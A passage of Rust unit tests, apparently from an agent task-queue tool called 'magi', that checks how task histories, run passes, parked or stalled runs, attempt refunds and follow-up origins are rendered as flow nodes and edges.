15738 let mut t = Task::new(
15739 "t".to_owned(),
15740 "Do it".to_owned(),
15741 PathBuf::from("/repo/magi"),
15742 Source::Human,
15743 );
15744 for r in runs {
15745 t.start((*r).to_owned());
15746 }
15747 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15749 t
15750 }
15751
15752 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15753 let h = task_history(task, |id| {
15754 states
15755 .iter()
15756 .find(|(i, _)| *i == id)
15757 .and_then(|(_, s)| s.clone())
15758 });
15759 task_flow(task, &h, 5, None)
15760 }
15761
15762 #[test]
15763 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15764 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15765 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15766 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15767 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15768 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15769 let run = flow_run(RunStatus::Implementing, |s| {
15770 s.created_at = created;
15771 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15772 s.passes[0].started_at = first;
15773 s.passes[1].started_at = resumed;
15774 });
15775 let mut task = flow_task(&[RUN_X, RUN_X]);
15776 task.created_at = queued;
15777 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15778 task.status = TaskStatus::Held;
15779 task.held_at = Some(held);
15780 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15781 assert_eq!(
15782 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15783 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15784 );
15785 assert!(flow.nodes.iter().all(|n| n.time_expected));
15786 let json = serde_json::to_value(&flow).unwrap();
15787 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15788 assert_eq!(json["nodes"][2]["time_expected"], true);
15789 }
15790
15791 #[test]
15792 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15793 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15794 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15795 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15796 task.held_at = Some(created);
15798 task.blocked_at = Some(created);
15799 for status in [
15800 TaskStatus::Queued,
15801 TaskStatus::Running,
15802 TaskStatus::Blocked,
15803 TaskStatus::Done,
15804 TaskStatus::Failed,
15805 TaskStatus::Parked,
15806 TaskStatus::Held,
15807 ] {
15808 task.status = status;
15809 if status == TaskStatus::Held {
15810 task.held_at = None;
15811 }
15812 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15813 assert_eq!(flow.nodes[1].started_at, Some(created));
15814 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15815 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15816 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15817 let json = serde_json::to_value(&flow).unwrap();
15818 assert!(json["nodes"][3]["started_at"].is_null());
15819 assert_eq!(json["nodes"][3]["time_expected"], true);
15820 }
15821 }
15822
15823 #[test]
15824 fn flow_context_links_do_not_expect_start_times() {
15825 let mut task = flow_task(&[]);
15826 task.source = Source::Agent {
15827 run: "chat-id".to_owned(),
15828 node: "chat".to_owned(),
15829 };
15830 let origin = followup_origin(&fu(None), |_| None, |_| None);
15831 let flow = task_flow(&task, &[], 5, Some(&origin));
15832 for node in &flow.nodes[..2] {
15833 assert!(!node.time_expected);
15834 assert_eq!(node.started_at, None);
15835 }
15836 assert!(flow.nodes[2].time_expected);
15837 }
15838
15839 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15840 crate::queue::FollowUp {
15841 run: "20260901-000000-aaaa".to_owned(),
15842 origin_task: origin_task.map(str::to_owned),
15843 pr: "https://example.com/o/r/pull/1".to_owned(),
15844 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15845 .map(str::to_owned)
15846 .to_vec(),
15847 generation: 1,
15848 }
15849 }
15850
15851 fn parent_task() -> Task {
15852 let mut p = flow_task(&[]);
15853 p.title = "Parent title".to_owned();
15854 p.status = TaskStatus::Done;
15855 p
15856 }
15857
15858 #[test]
15859 fn flow_opens_with_the_parent_task_of_a_followup() {
15860 let p = parent_task();
15861 let pid = p.id.clone();
15862 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15863 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15864 let n = &f.nodes[0];
15865 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15866 assert_eq!(
15867 n.label,
15868 format!("Follow-up of {}", crate::queue::short(&pid))
15869 );
15870 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15871 assert_eq!(n.status, Some("done"));
15872 assert_eq!(n.status_of, "task");
15873 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15874 assert_eq!(f.nodes[1].key, "start");
15875 assert_eq!(f.edges[0].from, "origin");
15876 assert_eq!(
15877 f.edges[0].label,
15878 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15879 );
15880 }
15881
15882 #[test]
15883 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15884 let o = followup_origin(
15885 &fu(Some("gone")),
15886 |_| None,
15887 |_| {
15888 Some(RunState::new(
15889 std::path::PathBuf::from("."),
15890 "main".to_owned(),
15891 "0".to_owned(),
15892 "t".to_owned(),
15893 crate::config::Config::default(),
15894 ))
15895 },
15896 );
15897 assert!(o.parent.is_none());
15898 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15899 let n = &f.nodes[0];
15900 assert_eq!(n.status_of, "run");
15901 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15902 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15903 }
15904
15905 #[test]
15906 fn flow_followup_with_nothing_readable_has_no_link() {
15907 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15908 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15909 let n = &f.nodes[0];
15910 assert_eq!(n.href, None);
15911 assert_eq!(n.note, Some("unreadable"));
15912 assert!(!n.readable);
15913 }
15914
15915 #[test]
15916 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15917 let o = followup_origin(&fu(None), |_| None, |_| None);
15918 let mut t = flow_task(&[]);
15919 t.origin_chat = Some("c1".to_owned());
15920 let f = task_flow(&t, &[], 5, Some(&o));
15921 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15922 t.source = Source::Agent {
15923 run: "c1".to_owned(),
15924 node: crate::queue::CHAT_NODE.to_owned(),
15925 };
15926 let f = task_flow(&t, &[], 5, Some(&o));
15927 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15928 assert_eq!(
15929 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15930 ("chat", "origin")
15931 );
15932 }
15933
15934 #[test]
15935 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15936 let mut p = parent_task();
15937 p.id = "a b/c".to_owned();
15938 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15939 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15940 }
15941
15942 #[test]
15943 fn flow_opens_with_the_chat_that_queued_the_task() {
15944 let mut t = flow_task(&[]);
15945 t.source = Source::Agent {
15946 run: "a b/c".to_owned(),
15947 node: crate::queue::CHAT_NODE.to_owned(),
15948 };
15949 let f = flow_for(&t, &[]);
15950 assert_eq!(f.nodes[0].key, "chat");
15951 assert_eq!(f.nodes[0].kind, "chat");
15952 assert_eq!(
15953 f.nodes[0].label,
15954 format!("Chat {}", crate::queue::short("a b/c"))
15955 );
15956 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15957 assert_eq!(f.nodes[1].key, "start");
15958 assert_eq!(
15959 f.edges[0],
15960 FlowEdge {
15961 from: "chat".to_owned(),
15962 to: "start".to_owned(),
15963 label: "queued from chat".to_owned(),
15964 attempt: AttemptCost::None,
15965 }
15966 );
15967 }
15968
15969 #[test]
15970 fn flow_has_no_chat_box_for_other_sources() {
15971 for source in [
15972 Source::Human,
15973 Source::Issue {
15974 number: 3,
15975 repo: "o/r".to_owned(),
15976 },
15977 Source::Agent {
15978 run: "20260904-014455-ab12".to_owned(),
15979 node: "implement".to_owned(),
15980 },
15981 ] {
15982 let mut t = flow_task(&[]);
15983 t.source = source;
15984 let f = flow_for(&t, &[]);
15985 assert_eq!(f.nodes[0].key, "start");
15986 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15987 assert!(f.edges.iter().all(|e| e.from != "chat"));
15988 }
15989 }
15990
15991 const FA: &str = "20260902-140501-aaaa";
15992 const FB: &str = "20260902-140502-bbbb";
15993
15994 #[test]
15995 fn flow_follows_blocked_retry_merged_to_done() {
15996 let mut t = flow_task(&[FA, FB]);
15997 t.status = TaskStatus::Done;
15998 let f = flow_for(
15999 &t,
16000 &[
16001 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16002 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16003 ],
16004 );
16005 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16006 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16007 assert_eq!(f.edges.len(), 3);
16008 assert_eq!(f.edges[0].label, "claimed");
16009 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16010 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16011 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16012 assert_eq!(
16013 f.nodes[2].href.as_deref(),
16014 Some("#/runs/20260902-140502-bbbb")
16015 );
16016 assert!(f.nodes[2].decided);
16017 }
16018
16019 #[test]
16020 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16021 let quota = || {
16022 flow_run(RunStatus::Stalled, |s| {
16023 s.quota.push(crate::run::QuotaLoss {
16024 seat: "judge-1".to_owned(),
16025 node: "judge".to_owned(),
16026 at: Timestamp::now(),
16027 reset: None,
16028 })
16029 })
16030 };
16031 let mut t = flow_task(&[FA, FA]);
16032 t.status = TaskStatus::Queued;
16033 let f = flow_for(&t, &[(FA, Some(quota()))]);
16034 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16035 assert_eq!(f.nodes[1].note, Some("interrupted"));
16036 assert_eq!(
16037 f.nodes[1].status, None,
16038 "no outcome copied onto an earlier pass"
16039 );
16040 assert_eq!(
16041 f.edges[1].attempt,
16042 AttemptCost::Unknown,
16043 "a resume does not prove the earlier pass was refunded"
16044 );
16045 assert!(f.edges[1].label.contains("resume the same run"));
16046 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16047 assert_eq!(
16048 f.edges[2].label,
16049 "stalled after a resume, refund unknown \u{2192} queued"
16050 );
16051 assert!(!f.nodes[2].decided, "a stall is not a decision");
16052 assert_eq!(f.nodes[2].note, Some("no verdict"));
16053 }
16054
16055 #[test]
16056 fn flow_single_pass_quota_stall_is_refunded() {
16057 let t = flow_task(&[FA]);
16058 let f = flow_for(
16059 &t,
16060 &[(
16061 FA,
16062 Some(flow_run(RunStatus::Stalled, |s| {
16063 s.quota.push(crate::run::QuotaLoss {
16064 seat: "judge-1".to_owned(),
16065 node: "judge".to_owned(),
16066 at: Timestamp::now(),
16067 reset: None,
16068 })
16069 })),
16070 )],
16071 );
16072 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16073 }
16074
16075 #[test]
16076 fn flow_parked_refunds_and_stall_without_quota_spends() {
16077 let mut t = flow_task(&[FA]);
16078 t.status = TaskStatus::Queued;
16079 let f = flow_for(
16080 &t,
16081 &[(
16082 FA,
16083 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16084 )],
16085 );
16086 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16087 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16088 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16089 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16090 assert!(!f.nodes[1].decided);
16091 }
16092
16093 #[test]
16094 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16095 let t = flow_task(&[FA, FB]);
16096 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16097 assert_eq!(f.nodes[1].note, Some("unreadable"));
16098 assert!(!f.nodes[1].readable);
16099 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16100 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16101 }
16102
16103 #[test]
16104 fn flow_names_the_branch_of_a_review_only_run() {
16105 let t = flow_task(&[FA]);
16106 let f = flow_for(
16107 &t,
16108 &[(
16109 FA,
16110 Some(flow_run(RunStatus::Merged, |s| {
16111 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16112 })),
16113 )],
16114 );
16115 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16116 assert_eq!(
16117 f.nodes[1].detail.as_deref(),
16118 Some("review-only run of branch magi/x/A")
16119 );
16120 }
16121
16122 #[test]
16123 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16124 let mut t = flow_task(&[FA]);
16125 t.status = TaskStatus::Held;
16126 let pr = crate::run::PrRecord {
16127 url: "https://example.test/pr/1".to_owned(),
16128 number: 1,
16129 state: "open".to_owned(),
16130 checks: "green".to_owned(),
16131 round: 0,
16132 rounds: 3,
16133 red_at_merge: Vec::new(),
16134 };
16135 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16136 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16137 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16138 t.status = TaskStatus::Done;
16139 let f = flow_for(&t, &[(FA, Some(blocked))]);
16140 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16141 }
16142
16143 #[test]
16144 fn flow_with_no_runs_goes_from_queued_to_queued() {
16145 let t = flow_task(&[]);
16146 let f = flow_for(&t, &[]);
16147 assert_eq!(f.nodes.len(), 2);
16148 assert_eq!(f.edges.len(), 1);
16149 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16150 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16151 }
16152
16153 #[test]
16156 fn a_parked_non_terminal_run_is_explained_as_parked() {
16157 let mut s = RunState::new(
16158 PathBuf::from("/repo/magi"),
16159 "main".to_owned(),
16160 "0123456789abcdef".to_owned(),
16161 "Do it".to_owned(),
16162 Config::default(),
16163 );
16164 s.status = RunStatus::Implementing;
16165 s.parked = true;
16166 let task = Task::new(
16167 "t".to_owned(),
16168 "Do it".to_owned(),
16169 PathBuf::from("/repo/magi"),
16170 Source::Human,
16171 );
16172 let v = task_run_view(
16173 "20260902-140501-aaaa",
16174 Some(&s),
16175 RunSlot {
16176 n: 1,
16177 resumed: false,
16178 resumed_later: None,
16179 prior: None,
16180 last: true,
16181 ..RunSlot::default()
16182 },
16183 &task,
16184 );
16185 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16186 }
16187
16188 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16189 let mut s = flow_run(RunStatus::Implementing, edit);
16190 s.parked = false;
16191 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16192 task_run_view(
16193 "20260902-140501-aaaa",
16194 Some(&s),
16195 RunSlot {
16196 n: 1,
16197 resumed: false,
16198 resumed_later: Some(2),
16199 prior: None,
16200 last: false,
16201 ..RunSlot::default()
16202 },
16203 &task,
16204 )
16205 }
16206
16207 #[test]
16208 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16209 let v = earlier_pass_view(|_| {});
16210 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16211 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16212 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16213 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16214 assert_eq!(v.exit, RunExit::Interrupted);
16215 assert_eq!(v.attempt, AttemptCost::Unknown);
16216 }
16217
16218 #[test]
16219 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16220 let v = earlier_pass_view(|s| {
16221 s.quota.push(crate::run::QuotaLoss {
16222 seat: "judge-1".to_owned(),
16223 node: "judge".to_owned(),
16224 at: Timestamp::now(),
16225 reset: None,
16226 });
16227 });
16228 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16229 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16230 assert_eq!(v.attempt, AttemptCost::Unknown);
16231 }
16232
16233 #[test]
16234 fn the_current_pass_states_its_recorded_cause_and_cost() {
16235 let slot = || RunSlot {
16236 n: 1,
16237 resumed: false,
16238 resumed_later: None,
16239 prior: None,
16240 last: true,
16241 ..RunSlot::default()
16242 };
16243 let task = flow_task(&["20260902-140501-aaaa"]);
16244 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16245 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16246 assert_eq!(
16247 (v.exit, v.attempt),
16248 (RunExit::Parked, AttemptCost::Refunded)
16249 );
16250 let spent = flow_run(RunStatus::Blocked, |_| {});
16251 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16252 assert_eq!(v.attempt, AttemptCost::Spent);
16253 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16254 }
16255
16256 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16257 crate::run::RunPass {
16258 index,
16259 started_at: Timestamp::now(),
16260 resumed: index > 0,
16261 ended_at: end.as_ref().map(|_| Timestamp::now()),
16262 end,
16263 task_entry: true,
16264 }
16265 }
16266
16267 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16268 Some(crate::run::PassEnd::Parked { cause })
16269 }
16270
16271 fn upgrade_cause() -> crate::run::ParkCause {
16272 crate::run::ParkCause::Upgrade {
16273 from: "0.121.0".to_owned(),
16274 to: Some("0.121.1".to_owned()),
16275 }
16276 }
16277
16278 fn settled_pass(
16279 run: &str,
16280 index: usize,
16281 cost: crate::queue::PassCost,
16282 ) -> crate::queue::TaskPass {
16283 crate::queue::TaskPass {
16284 run: run.to_owned(),
16285 pass_index: index,
16286 started_at: None,
16287 cost,
16288 attempts_after: 1,
16289 settled_at: Timestamp::now(),
16290 parked: None,
16291 }
16292 }
16293
16294 const RUN_X: &str = "20261011-223708-4334";
16295
16296 #[test]
16297 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16298 use crate::queue::PassCost;
16299 let run = flow_run(RunStatus::Implementing, |s| {
16300 s.passes = vec![
16301 recorded_pass(0, parked(upgrade_cause())),
16302 recorded_pass(1, None),
16303 ];
16304 });
16305 let mut task = flow_task(&[RUN_X, RUN_X]);
16306 task.attempts = 1;
16307 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16308 let h = task_history(&task, |_| Some(run.clone()));
16309 assert_eq!(h.len(), 2);
16310 assert_eq!(h[0].kind, "competition");
16311 assert_eq!(h[1].kind, "resume");
16312 assert_eq!(
16313 (h[0].exit, h[0].attempt),
16314 (RunExit::Parked, AttemptCost::Refunded)
16315 );
16316 assert!(
16317 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16318 "{}",
16319 h[0].outcome
16320 );
16321 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16322 assert!(
16323 h[0].outcome.contains("pass #2 resumed the same run"),
16324 "{}",
16325 h[0].outcome
16326 );
16327 assert!(
16328 h[0].outcome.contains("pass 1 of 2 over run"),
16329 "{}",
16330 h[0].outcome
16331 );
16332 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16333 assert_eq!(
16334 h[0].exit_label,
16335 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16336 );
16337 let f = task_flow(&task, &h, 2, None);
16338 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16340 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16341 assert!(
16342 f.edges[1].label.contains("upgrade 0.121.0"),
16343 "{}",
16344 f.edges[1].label
16345 );
16346 assert!(
16347 f.edges[1].label.contains("resume the same run"),
16348 "{}",
16349 f.edges[1].label
16350 );
16351 assert_eq!(f.nodes[1].note, Some("parked"));
16352 }
16353
16354 #[test]
16355 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16356 let mut a = flow_run(RunStatus::Implementing, |s| {
16357 s.passes = vec![
16358 recorded_pass(0, parked(upgrade_cause())),
16359 recorded_pass(1, None),
16360 ];
16361 });
16362 let mut b = flow_run(RunStatus::Failed, |s| {
16363 s.passes = vec![recorded_pass(0, None)];
16364 });
16365 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16366 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16367 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16368 let mut task = flow_task(&[]);
16369 task.start("a".into());
16370 task.start("b".into());
16371 task.start("a".into());
16372 assert_eq!(task.runs, ["b", "a"]);
16373 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16374 let h = task_history(&task, |id| {
16375 Some(if id == "a" { a.clone() } else { b.clone() })
16376 });
16377 assert_eq!(
16378 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16379 ["a", "b", "a"]
16380 );
16381 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16382 assert!(h[0].outcome.contains("upgrade"));
16383 assert_eq!(h[2].kind, "resume");
16384 assert!(h[2].pass.is_some());
16385 task.runs = vec!["a".into(), "b".into(), "a".into()];
16387 let old = task_history(&task, |id| {
16388 Some(if id == "a" { a.clone() } else { b.clone() })
16389 });
16390 assert_eq!(
16391 old.iter()
16392 .map(|v| (&v.id, &v.kind, v.attempt))
16393 .collect::<Vec<_>>(),
16394 h.iter()
16395 .map(|v| (&v.id, &v.kind, v.attempt))
16396 .collect::<Vec<_>>()
16397 );
16398 }
16399
16400 #[test]
16401 fn an_upgrade_whose_target_was_not_known_says_so() {
16402 let run = flow_run(RunStatus::Implementing, |s| {
16403 s.passes = vec![
16404 recorded_pass(
16405 0,
16406 parked(crate::run::ParkCause::Upgrade {
16407 from: "0.121.0".to_owned(),
16408 to: None,
16409 }),
16410 ),
16411 recorded_pass(1, None),
16412 ];
16413 });
16414 let task = flow_task(&[RUN_X, RUN_X]);
16415 let h = task_history(&task, |_| Some(run.clone()));
16416 assert!(
16417 h[0].outcome.contains("upgrade from 0.121.0"),
16418 "{}",
16419 h[0].outcome
16420 );
16421 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16423 }
16424
16425 #[test]
16426 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16427 use crate::queue::PassCost;
16428 use crate::run::ParkCause;
16429 let run = flow_run(RunStatus::Implementing, |s| {
16430 s.passes = vec![
16431 recorded_pass(0, parked(upgrade_cause())),
16432 recorded_pass(
16433 1,
16434 parked(ParkCause::Interrupt {
16435 reason: "task a1b2 asked to run first".to_owned(),
16436 }),
16437 ),
16438 recorded_pass(2, parked(ParkCause::Operator)),
16439 recorded_pass(3, None),
16440 ];
16441 });
16442 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16443 task.attempts = 1;
16444 task.passes = (0..3)
16445 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16446 .collect();
16447 let h = task_history(&task, |_| Some(run.clone()));
16448 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16449 assert!(
16450 h[1].outcome.contains("task a1b2 asked to run first"),
16451 "{}",
16452 h[1].outcome
16453 );
16454 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16455 assert!(
16456 h[2].outcome.contains("operator asked the loop to park"),
16457 "{}",
16458 h[2].outcome
16459 );
16460 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16461 let f = task_flow(&task, &h, 2, None);
16462 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16463 }
16464
16465 #[test]
16466 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16467 let run = flow_run(RunStatus::Implementing, |s| {
16468 s.passes = vec![
16469 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16470 recorded_pass(1, None),
16471 ];
16472 });
16473 let task = flow_task(&[RUN_X, RUN_X]);
16474 let h = task_history(&task, |_| Some(run.clone()));
16475 assert_eq!(h[0].exit, RunExit::Interrupted);
16476 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16477 assert!(
16478 h[0].outcome.contains("without recording why"),
16479 "{}",
16480 h[0].outcome
16481 );
16482 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16483 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16484 }
16485
16486 #[test]
16487 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16488 use crate::queue::PassCost;
16489 let run = flow_run(RunStatus::Implementing, |s| {
16492 s.passes = vec![
16493 recorded_pass(0, parked(upgrade_cause())),
16494 recorded_pass(1, None),
16495 ];
16496 });
16497 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16498 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16499 let h = task_history(&task, |_| Some(run.clone()));
16500 assert!(h[0].pass.is_none());
16501 assert_eq!(h[0].exit, RunExit::Interrupted);
16502 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16503 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16504 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16505 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16506 let legacy = flow_run(RunStatus::Implementing, |_| {});
16508 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16509 assert!(h.iter().all(|v| v.pass.is_none()));
16510 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16511 }
16512
16513 #[test]
16514 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16515 use crate::queue::PassCost;
16516 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16519 web.task_entry = false;
16520 let run = flow_run(RunStatus::Implementing, |s| {
16521 s.passes = vec![
16522 recorded_pass(0, parked(upgrade_cause())),
16523 web.clone(),
16524 recorded_pass(2, None),
16525 ];
16526 });
16527 let mut task = flow_task(&[RUN_X, RUN_X]);
16528 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16529 let h = task_history(&task, |_| Some(run.clone()));
16530 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16531 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16532
16533 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16536 web0.task_entry = false;
16537 let run = flow_run(RunStatus::Implementing, |s| {
16538 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16539 });
16540 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16541 assert!(h[0].pass.is_none());
16542 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16543 assert!(h[1].pass.is_some());
16544 }
16545
16546 #[tokio::test]
16547 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16548 let dir = tempfile::tempdir().unwrap();
16549 let queue = Queue::at(dir.path().join("queue"));
16550 let ui = Arc::new(Ui::new(
16551 queue.clone(),
16552 Questions::at(dir.path().join("questions")),
16553 Talks::at(dir.path().join("talks")),
16554 dir.path().join("runs"),
16555 dir.path().to_path_buf(),
16556 dir.path().to_path_buf(),
16557 ));
16558 let mut t = Task::new(
16559 "recover".into(),
16560 "Inspect".into(),
16561 PathBuf::from("."),
16562 Source::Human,
16563 );
16564 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16565 t.start("run-A".into());
16566 t.release_operator("choice", Some("resume-question"));
16567 t.resume_override = Some(crate::queue::OperatorResume {
16568 question_id: "resume-question".into(),
16569 at: jiff::Timestamp::now(),
16570 conductor_rehold: None,
16571 forced: true,
16572 pinned_run: Some("run-A".into()),
16573 });
16574 t.hold_machine(Some("inspection pending".into()));
16575 t.edit("recover".into(), "Reuse approved PR head".into())
16576 .unwrap();
16577 queue.put(&mut t).unwrap();
16578 let mut cli = t.clone();
16579 cli.release_operator("cli", None);
16580 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16581 let reloaded = queue.get(&t.id).unwrap();
16582 assert_eq!(reply.task.status, TaskStatus::Queued);
16583 assert!(reloaded.resume_override.is_none());
16584 assert_eq!(reloaded.answers, t.answers);
16585 let mut web = reloaded.resumption.unwrap();
16586 let cli = cli.resumption.unwrap();
16587 assert_eq!(web.source, "web");
16588 web.source = cli.source.clone();
16589 web.at = cli.at;
16590 assert_eq!(web, cli);
16591 }
16592
16593 #[tokio::test]
16594 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16595 let f = Fixture::start().await;
16596 let queue = f.queue();
16597 let mut task = Task::new(
16598 "spent".to_owned(),
16599 "Try again".to_owned(),
16600 PathBuf::from("/repo/magi"),
16601 Source::Human,
16602 );
16603 task.start("20260902-140502-bbbb".to_owned());
16604 task.fail("agent gave up", 9);
